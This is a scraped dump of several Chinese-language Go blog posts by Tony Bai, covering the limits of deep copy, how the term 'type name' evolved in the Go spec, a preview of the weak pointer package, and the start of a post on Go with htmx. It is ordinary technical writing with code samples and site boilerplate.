map[*Node]*Node) *Node { // 如果节点为空，返回nil if n == nil { return nil } // 如果节点已经被拷贝过，直接返回拷贝的引用 if copyNode, found := visited[n]; found { return copyNode } // 创建当前节点的拷贝，并将其加入已访问map copyNode := \u0026amp;Node{Value: n.Value} visited[n] = copyNode // 递归拷贝下一个和前一个节点 copyNode.Next = n.Next.deepCopyRecursive(visited) copyNode.Prev = n.Prev.deepCopyRecursive(visited) return copyNode } func main() { // 创建包含循环引用的双向链表 node1 := \u0026amp;Node{Value: 1} node2 := \u0026amp;Node{Value: 2} node1.Next = node2 node2.Prev = node1 // 进行深拷贝 copyNode1 := node1.DeepCopy() // 修改拷贝对象，确保原始对象不受影响 copyNode1.Next.Value = 3 // 输出原始链表和拷贝链表的指针地址，验证深拷贝是否成功 fmt.Println(\u0026#34;Original node1 address:\u0026#34;, node1) fmt.Println(\u0026#34;Original node1.Next address:\u0026#34;, node1.Next) fmt.Println(\u0026#34;Original node2.Prev address:\u0026#34;, node2.Prev) fmt.Println(\u0026#34;Copied node1 address:\u0026#34;, copyNode1) fmt.Println(\u0026#34;Copied node1.Next address:\u0026#34;, copyNode1.Next) fmt.Println(\u0026#34;Copied node2.Prev address:\u0026#34;, copyNode1.Next.Prev) } 运行这段示例程序会得到下面结果：\nOriginal node1 address: \u0026amp;{1 0xc00011c018 \u0026lt;nil\u0026gt;} Original node1.Next address: \u0026amp;{2 \u0026lt;nil\u0026gt; 0xc00011c000} Original node2.Prev address: \u0026amp;{1 0xc00011c018 \u0026lt;nil\u0026gt;} Copied node1 address: \u0026amp;{1 0xc00011c048 \u0026lt;nil\u0026gt;} Copied node1.Next address: \u0026amp;{3 \u0026lt;nil\u0026gt; 0xc00011c030} Copied node2.Prev address: \u0026amp;{1 0xc00011c048 \u0026lt;nil\u0026gt;} 下面再说一种极端情况，导致我们即便手工实现也无法实现深拷贝。\n4.3 某些类型不支持拷贝 Go语言的某些内置类型或标准库中的类型，比如sync.Mutex、time.Timer等不应该被复制，复制这些类型可能会导致未定义的行为。\ntype Resource struct { Data string mutex sync.Mutex } // 错误的深拷贝方式 func (r *Resource) DeepCopy() *Resource { return \u0026amp;Resource{ Data: r.Data, mutex: r.mutex, // 不应该复制 mutex } } 对于这样的包含不支持拷贝的类型，我们在不改变源类型组成的情况下，无法实现深拷贝。\n除了上面三种情况外，有些时候性能也是使用深拷贝时需要考量的点，尤其是当你使用反射实现的通用深拷贝技术时，可能会带来显著的性能开销。尤其是在关键路径上处理大型数据结构或频繁操作时，这可能成为一个问题。\n如果在使用深拷贝时遇到性能问题，可以考虑通过手动编写深拷贝逻辑替代反射、使用对象池或预分配的方式缓存并优化内存分配，减少深拷贝的次数，甚至是针对复杂类型或数据结构的并发拷贝来优化，这些需要视具体场景来确定优化策略，这里就不展开了。\n5. 深拷贝（Deep Copy）vs. 克隆（Clone） 最后再来说一下深拷贝（Deep Copy）和克隆（Clone）。它们都是复制对象的概念，但它们在概念和实现细节上存在一些差异。\n通过上面说明，我们知道深拷贝是一种递归的复制过程，不仅复制对象本身，还会复制该对象所有引用的其他对象。这意味着所有的对象层级都会被独立地复制，最终形成一个完全独立的新对象，原对象和拷贝之间不存在任何共享的内存。\n而克隆是指复制一个对象。其行为依赖于具体语言的实现方式。对于某些语言，克隆可能指的是浅拷贝（Shallow Copy），即只复制对象的基础数据字段，引用类型字段仍然指向原始对象。也有些语言将克隆定义为深拷贝，取决于上下文。比如在Java中，Object类提供了clone()方法，默认是浅拷贝，用户可以通过实现Cloneable接口来自定义克隆的行为，比如实现为深拷贝的逻辑。\n因此，当目标对象在结构上与原对象一致的情况下，可以将深拷贝理解为一种特定类型的克隆。但在一些场景下（比如RPC），深拷贝不仅仅是简单的在内存中深度复制自身，而是需要考虑源对象和目的对象之间的结构差异和数据转换逻辑，本文并未覆盖这类场景，大家可以自行脑补。\n5. 小结 在本文中，我们深入探讨了Go语言中的深拷贝概念、实现方法以及局限性。深拷贝在需要对象之间完全独立的场景中尤为重要，尤其是在防止意外修改共享数据、并发编程、不可变对象需求、回滚机制等情况下。我们介绍了手动实现深拷贝、利用反射的通用深拷贝方法以及使用第三方库的不同实现方式，并分析了每种方法的优缺点。\n尽管深拷贝提供了数据的独立性和安全性，但在实现过程中也面临一些挑战，包括无法访问非导出字段、循环引用的问题，以及某些类型不支持拷贝的限制。性能问题也是一个需要考虑的因素，特别是在处理复杂数据结构时。\n通过对深拷贝的理解，我希望大家能够在实际开发中更有效地使用这一技术，并根据具体需求选择合适的实现方式，从而优化代码质量和程序性能。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/28/understand-deep-copy-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-deep-copy-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/09/28/understand-deep-copy-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/09/28/understand-deep-copy-in-go\"\u003ehttps://tonybai.com/2024/09/28/understand-deep-copy-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前不久，在\u003ca href=\"https://public.zsxq.com/groups/51284458844544\"\u003e“Gopher部落”知识星球\u003c/a\u003e上回答了一个Gopher关于深拷贝(Deep Copy)的问题，让我感觉是时候探讨一下深拷贝技术了。\u003c/p\u003e\n\u003cp\u003e在日常开发工作中，深拷贝的使用频率相对较低，可能有80%的时间不需要使用深拷贝，只有在特定情况下才会遇到。这主要是因为大多数开发中处理的对象比较简单，通常只需使用浅拷贝(Shallow Copy)就能满足需求；此外，多数时候我们需要共享状态或数据，使用浅拷贝可以方便多个部分访问同一数据；最后，深拷贝通常比浅拷贝耗时更多，尤其是当对象嵌套较深时。因此，开发者倾向于选择更高效的浅拷贝。\u003c/p\u003e","title":"Go语言中的深拷贝：概念、实现与局限"},{"content":"“类型名称”在Go语言规范中的演变 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 “类型名称”在Go语言规范中的演变 九月 24, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/09/24/the-evolution-of-type-name-in-go-spec\nGo语言规范（The Go Programming Language Specification）是Go语言的核心文档，定义了该语言的语法、类型系统和运行时行为。Go语言规范的存在使得开发者在实现Go编译器时可以依赖一致的标准，它确保了语言的稳定性和一致性，特别是在类型系统设计中，Go团队通过规范推动了语言的简洁性、稳定性与可维护性。对于Go开发者而言，Go语言规范也是语法特性使用的参考手册(虽然语言规范读起来比较抽象和晦涩)。\nGo语言规范由Google的Go核心开发团队维护和演进，这与ISO标准的C/C++语言规范有所不同。C和C++语言的ISO标准更新较慢，需经过复杂的全球共识和审核流程，而相比之下，Go语言的管理方式就显得更加灵活，也能够迅速适应新需求。\n然而，这种灵活性也带来了潜在的弊端。随着新语法特性的引入和演进，一些已有的概念的含义可能会发生变化，导致前后的不一致性，从而让开发者感到困惑。例如，Go中的Type Name(类型名称)就经历了从最初的Named Type，到Defined Type和Alias Type，最终又回归到Named Type的过程。\n近期Go语言之父之一的Robert Griesemer在Go官博发表了一篇名为”What’s in an (Alias) Name?“的文章，其中就对Go spec中Type Name的历史演进做了回顾，这里我们就基于这段回顾对“类型名称(Type Name)”在Go语言规范中的演变做一下简要梳理，希望能帮助大家更好的理解Go。\n1. Go规范中的Type Name（类型名称） 在Go语言规范中，Type Name是指给定类型的标识符，它为一个类型提供了唯一的名称。Type Name用于识别和引用各种类型，这包括Go内置(也叫预声明Predeclared Type)的基础类型(比如int、string)和用户自定义的类型，比如：\nvar x int // int是基础类型的Type Name type MyInt int // MyInt是用户定义类型的Type Name 你可能会问，Go还有没有类型名称的类型吗？当然有了，有一些特殊的类型没有直接的类型名称。通常，这些类型是匿名类型(Anonymous Type)，即它们并没有通过命名来标识，主要的匿名类型包括：\n字面量定义的复合类型（Composite Literals） Go支持在代码中使用复合字面量来定义结构体、数组、切片、map等类型，而不为这些类型显式地定义名称。这些类型是在使用时定义的，并没有为其单独声明一个类型名称。\nvar data = struct { Name string; Age int }{\u0026#34;Alice\u0026#34;, 30} // 匿名结构体类型 var arr = [5]int{1,2,3,4,5} // 匿名数组类型 var arr = []int{1, 2, 3} // 匿名切片类型 var m = map[string]int{\u0026#34;foo\u0026#34;: 1, \u0026#34;bar\u0026#34;: 2} // 匿名map类型 匿名函数类型 Go支持函数作为一等公民，函数本身可以作为类型，当定义匿名函数（即未命名函数）时，这些函数没有类型名称。\nvar f = func() int { //匿名函数类型func() int return 42 } Type Name是一个广泛的概念，在Go spec中，Go设计者们将其做了细分，比如Named Type、Defined Type等。那么随着Go版本的变化，Go中的Type Name的分类有哪些重要的演进和变化呢，下面我们就重点说明一下Go spec中Type Name分类的三次重要变化。\n2. 初始阶段：简单而明确的Named Type (2009-2017) Go 1.0是Go语言的首个正式发布版本，其中确立了类型名称的基础概念。在这一阶段，Go的类型系统已经具备了高度的简洁性和一致性，这也是该语言设计的核心原则之一。\n在Go语言的早期阶段(2009-2017)，Go规范就确定了简单明确的Named Type的概念，它指的是通过下面语法定义的类型T：\ntype T existingType 这些通过类型声明定义的T被称为Named Type。而这里的existingType可以Predeclared的预声明类型（比如int、string），可以是已存在的Named Type，也可以是前面提到的匿名类型。\n通过给现有类型赋予新名称来定义新的类型，与匿名类型等未命名类型形成鲜明对比。这种简单的分类满足了早期Go程序员的需求，为代码组织和类型系统提供了清晰的基础，提升了代码的可读性和模块化。\n我们可以用示意图来展示这个阶段的Go类型名称分类：\n而Named Type的定义方式也可以用下图表示：\n我们看到，可以基于Predeclare Type、匿名类型以及已存在的Named Type来定义一个新的Named Type。并且，Named Type具有一些专有特性，比如可拥有自己的方法、只与自身类型赋值兼容，不与其底层类型直接兼容（除非进行显式类型转换）等。\n3. 变革之始：别名类型的引入 (Go 1.9, 2017) 然而，随着Go 1.9在2017年引入别名类型(Alias Type)，情况开始变得复杂：\ntype T = Q // T为Q类型的别名类型 别名类型的引入是为了支持大规模代码库的重构，但它也模糊了Named Type的界限，因为别名也是一个类型名称。\n为了应对这一变化，Go团队引入了”Defined Type”的概念以代替界限模糊的Named Type，用以特指通过类型定义(type T Q)创建的新类型。\n这样改动后，整个Go类型系统的类型名称分类就变成如下示意图中的状态了：\nDefined Type定义和Alias Type的定义分别如下：\n两者看起来差别不大，但只有Defined Type才拥有专有属性，比如可拥有自己的方法、只与自身类型赋值兼容等。我们也可以为Alias Type定义方法，但那个方法属于原类型。\n4. 泛型时代的到来：概念的重塑 (Go 1.18, 2022) 2022年，Go 1.18的发布标志着Go语言进入了泛型时代，这一重大特性的引入再次挑战了现有的类型分类方式。\n比如类型参数也是类型，它们有名称，与Defined Type一样，两个不同命名的类型参数表示不同的类型。换句话说，类型参数是Named Type，而且它们的行为在某些方面与Go原始的Named Type类似。更重要的是，Go的Predeclare Type（如int、string等）只能通过它们的名称来访问，并且像Defined Type和类型参数一样，如果它们的名称不同，它们也会不同，这样预声明的类型也变成了Named Type。\n为了适应泛型，Go规范重新引入了Named Type，并将其范围扩大到包括预声明类型、Defined Type、类型参数以及部分情况下的别名类型。\n重新引入Named Type后，Defined Type依然得以保留，整个Go系统类型的最新类型名称分类状态如下图所示：\n5. 当前的权衡 在”What’s in an (Alias) Name?“的文章中，Robert还提到了学院派类型系统理论中的Nominal type（名义类型）和Structural type（结构类型)两个概念，虽然Go spec目前完全没有使用这两个概念。\nNominal type，也叫名义类型。这种类型的身份（identity）明确地与其名称相关联。两个类型即使结构完全相同，如果名称不同，也被视为不同的类型。像Go 1.18以后spec中的预声明类型（如int、string等）、Defined types（通过type关键字定义的类型）和类型参数都属于这种类型，这大体与Named Type是重叠的。\n而Structural type（结构类型）的类型的身份仅取决于其结构或组成，而不依赖于名称。如果两个类型的结构相同，它们就被视为相同的类型，即使它们可能有不同的名称，像Go中的接口类型(在某种意义上)、通过类型字面量创建的类型（如匿名结构体、函数类型等）等都可以归属与这种类型。值得注意的是，指向类型字面量的别名类型（如type AliasName = struct{ … }）也可看作是structural type。\n不过Robert也提到了，后续Go还会继续沿用Named Type、Defined Type等术语，而不会用这些学院派的类型术语来更新Go spec，这主要有几方面考虑：\n历史一致性：Go语言从早期就使用了named type、defined type等术语。突然改变可能会导致现有文档、教程和代码库的混乱。 概念特殊性：Go的类型系统有其特殊性，不完全符合传统的nominal/structural二分法。例如，Go的接口类型结合了nominal和structural的特性。这么做，也可以避免引起其他语言中该术语用法的混淆。 实用性考虑：”named type”、”defined type”等术语在Go的上下文中有明确的含义，直接对应于语言的特定特性和语法结构。这使得它们在讨论Go特定概念时更加实用。 6. 小结 本文基于Robert的文章讲述了Go语言类型系统中的类型名称的演变历程。我们回顾了Type Name在Go语言规范中的重要变化，从最初的简单Named Type到后来的Defined Type和Alias Type，再到引入泛型时代后的重新定义Named Type。每一次变化不仅反映了Go语言的不断发展，也展示了Go团队在应对复杂性和保持语言简洁性之间的平衡。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/24/the-evolution-of-type-name-in-go-spec/","summary":"\u003ch1 id=\"类型名称在go语言规范中的演变--tony-bai\"\u003e“类型名称”在Go语言规范中的演变 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"类型名称在go语言规范中的演变\"\u003e“类型名称”在Go语言规范中的演变\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e九月 24, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/09/24/the-evolution-of-type-name-in-go-spec/#respond\" title=\"《“类型名称”在Go语言规范中的演变》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 37\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-evolution-of-type-name-in-go-spec-1.png\"\u003e\u003c/p\u003e","title":"“类型名称”在Go语言规范中的演变"},{"content":"Go weak包前瞻：弱指针为内存管理带来新选择 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go weak包前瞻：弱指针为内存管理带来新选择 九月 23, 2024 3 条评论 本文永久链接 – https://tonybai.com/2024/09/23/go-weak-package-preview\n在介绍Go 1.23引入的unique包的《Go unique包：突破字符串局限的通用值Interning技术实现》一文中，我们知道了unique包底层是基于internal/weak包实现的，internal/weak是一个弱指针功能的Go实现。所谓弱指针(Weak Pointer，也称为弱引用)是与强指针相对而言的，强指针(Strong Pointer，也可称作强引用)就是下面代码片段中的这种常规指针：\nvar p *T = new(T) // 假设T类型对象被分配到堆上 只要p指向堆上的T对象，那么T对象就无法被GC回收。但弱指针并非如此，它也可以指向堆上的某个内存对象(比如T类型对象)，但它无法像强指针那样阻止GC回收该对象。\nGo unique包的实现者Michael Knyszek近期提议在标准库引入weak包(实际上是将internal/weak公开暴露给Go开发者)，该提议被Russ Cox代表的Go提案评审委员会所接受，最早将于Go 1.24版本落地。\n在这篇短文中，我们来前瞻一下weak包的API设计、原理、应用场景以及社区对该提案一些观点。\n注：weak包尚未落地，本文中的代码在Go 1.23中均无法运行，可以视作伪代码。\n1. weak包的API weak包的核心是Pointer[T]类型，它代表了对类型T的弱指针。以下目前Michael Knyszek为weak包设计的主要API：\ntype Pointer[T any] struct { ... } func Make[T any](ptr *T) Pointer[T] func (p Pointer[T]) Value() *T Make函数用于创建一个弱指针，而Value方法则用于获取弱指针指向的实际值。如果原始对象已被垃圾回收，Value方法将返回nil。这个设计秉承了Go一贯的简洁，允许开发者轻松创建和使用弱指针，同时保持了Go语言的类型安全特性。\n2. weak包弱指针的工作原理 在开篇时，我已经对弱指针的作用做了简单说明，这里结合上述weak包的API和提案中的设计原理再扩展一下。\n弱指针的核心思想是允许引用内存而不阻止垃圾回收器回收它。垃圾回收器在回收对象时，会自动将所有指向该对象的弱指针设置为nil。这确保了弱指针不会产生悬空引用(dangling pointer)。\n下图是weak包弱指针的工作原理示意图，展示了weak pointer的核心工作原理，包括间接对象的使用和垃圾回收时的行为：\n简单看一下这张图：程序创建一个对象并通过weak.Make创建一个weak.Pointer(弱指针)，在Go运行时内部，weak.Pointer通过8字节的间接对象引用原始对象。这个间接对象是weak.Pointer的内部字段，按当前internal/weak的实现来看，该字段是一个unsafe.Pointer。这个间接对象包含了实际的弱引用。\n值得注意的是，弱指针的比较基于它们最初创建时使用的指针。即使原始对象被回收，两个由相同指针创建的弱指针仍然会被认为是相等的。这个特性使得弱指针可以安全地用作map的键。\n3. weak包的典型使用场景 weak包的引入将为Go带来更灵活的内存管理机制，它允许开发者创建不会阻止垃圾回收的引用，从而在保持内存效率的同时，实现更复杂的数据结构和算法。特别是在处理缓存、规范化映射(Canonicalization mapping)等场景时。\n以缓存为例，使用弱指针，我们可以创建不会阻止被缓存对象被垃圾回收的缓存系统，这对于管理内存敏感的大型缓存系统特别有用。下面提案中Russ Cox举的一个使用weak包实现简单缓存的示例(可理解为伪代码)：\ntype Cache[K any, V any] struct { f func(*K) V m atomic.Map[uintptr, func() V] } func NewCache[K comparable, V any](f func(*K)V) *Cache[K, V] { return \u0026amp;Cache[K, V]{f: f} } func (c *Cache[K, V]) Get(k *K) V { kw := uintptr(unsafe.Pointer((k)) vf, ok := c.m.Load(kw) if ok { return vf() } vf = sync.OnceValue(func() V { return c.f(k) }) vf, loaded := c.m.LoadOrStore(kw, vf) // 原issue中似乎少了第二个参数vf if !loaded { // Stored kw→vf to c.m; add the cleanup. runtime.AddCleanup(k, c.cleanup, kw) } return vf() } func (c *Cache[K, V]) cleanup(kw uintptr) { c.m.Delete(kw) } var cached = NewCache(expensiveComputation) 这段代码定义了一个泛型缓存结构Cache，它有两个类型参数K和V，以及两个成员字段f和m：\nf是一个函数，接受*K类型的指针，返回V类型的值，这是用于计算缓存值的函数。 m是一个原子映射，键是K类型的弱指针，值是返回V的函数。 NewCache是缓存的创建函数，接受一个计算函数f，返回初始化的Cache指针。\nCache类型的Get方法用于获取缓存的值，它首先创建键k的弱指针kw，然后以该弱指针为键尝试从缓存(atomicMap)中加载值。如果找到，直接返回缓存的值。如果未找到，使用sync.OnceValue创建一个只执行一次的函数，调用c.f(k)计算值。之后，尝试将新计算的函数存储到缓存中。 如果成功存储（即之前没有这个键），添加一个清理函数，最后返回计算后的Value值。\n这个实现允许缓存中的键在不再被程序其他部分引用时被垃圾回收，从而避免了内存长期占用或是泄漏。\n4. 社区声音 针对该weak包提案，Go社区的主要声音是支持的，认为weak包将为Go带来更灵活的内存管理机制，但也表示了对无法用好weak包这个低级机制的担忧，希望在正式文档或Go Tour中包含更多使用关于weak包的示例和最佳实践。\nGo新版GC的主要设计者Richard L. Hudson提出了对sweeping storms和清理大型缓存中过时weak条目的担忧，并提出了使用ephemerons（一种更复杂的弱引用机制）的可能性，但也认识到其实现复杂度和性能开销较高。\n也有一些Go社区开发者保持了对weak包的谨慎态度，比如fasthttp的维护者、VictorialMetrics的联创Aliaksandr Valialkin 就建议：在决定如何在Go中实现弱指针之前，最好先分析其他编程语言中弱指针的最常见的生产用例，并首先思考一下在标准库中为这些实际用例提供更高级别的解决方案而不是暴露较低级别的弱指针的方案是否会更好。\n也有gopher提出：能否在提案中添加2-3个没有弱指针就无法解决的实际问题的例子，但Michael Knyszek并未回应。\n5. 小结 weak包的引入让Go的工具箱更加完整，它为开发者提供了更细粒度的内存控制，同时其核心API也保持了Go简单易用的特性。\n对于Go开发者来说，weak包使得某些复杂的内存管理场景变得更容易处理，但也需要开发者更好地理解垃圾回收机制和弱引用的工作原理。\n社区对weak包的引入持积极态度，但也关注其实现细节、性能影响和最佳实践，同时也意识到了使用weak指针时可能面临的挑战。\n不过，开发者在使用weak包时还是需要谨慎，毕竟过度使用弱指针可能会使代码变得难以理解和维护，最好的方法是将它用在最适合的场景下。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/23/go-weak-package-preview/","summary":"\u003ch1 id=\"go-weak包前瞻弱指针为内存管理带来新选择--tony-bai\"\u003eGo weak包前瞻：弱指针为内存管理带来新选择 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go-weak包前瞻弱指针为内存管理带来新选择\"\u003eGo weak包前瞻：弱指针为内存管理带来新选择\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e九月 23, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/09/23/go-weak-package-preview/#comments\" title=\"《Go weak包前瞻：弱指针为内存管理带来新选择》上的评论\"\u003e3 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-weak-package-preview-1.png\"\u003e\u003c/p\u003e","title":"Go weak包前瞻：弱指针为内存管理带来新选择"},{"content":"\n本文永久链接 – https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack\n在传统的Web开发领域，前端和后端开发通常被明确划分。前端主要负责用户界面的交互和视觉呈现，运用HTML、CSS和JavaScript等技术；后端则专注于服务器逻辑、数据库管理和核心功能实现，常用Go、Java、PHP、Ruby等语言。\n然而，随着技术的不断演进和开发流程的优化，全栈开发逐渐成为一种趋势。全栈开发者能够在项目的不同阶段灵活转换角色，有效降低沟通成本和缩短开发周期。他们对系统的整体架构和工作原理有更深入的理解，从而能更高效地解决问题。此外，全栈技能也使得开发者在就业市场上更具竞争力，能够承担更多样化的职责。\n尽管如此，对于许多专注后端的工程师（包括众多Gopher）来说，前端开发仍然是一个不小的挑战。它不仅要求熟悉JavaScript等语言，还需要理解复杂的前端框架和工具链。这使得不少后端开发者在面对全栈开发时感到力不从心。\n幸运的是，技术的进步为我们提供了更简单、高效的开发途径。Go语言以其简洁和高效著称，而htmx库则通过HTML属性实现丰富的前端交互。将两者结合，开发者可以在无需深入学习JavaScript的情况下，轻松实现全栈开发。这种组合不仅能够显著提升开发效率，还能充分利用服务器端渲染（SSR）的优势，在性能和用户体验方面取得显著提升。\n那么，htmx是否真的是Gopher走向全栈的完美搭档呢？在本文中，我们就将探讨一下这个问题，介绍一下htmx的核心理念和工作原理，并结合代码示例和使用场景，详细分析Go和htmx如何协同工作。至于Go+htmx究竟有多能打，相信在本文最后，你会得出自己的评价！\n1. htmx：为简化前端开发而生 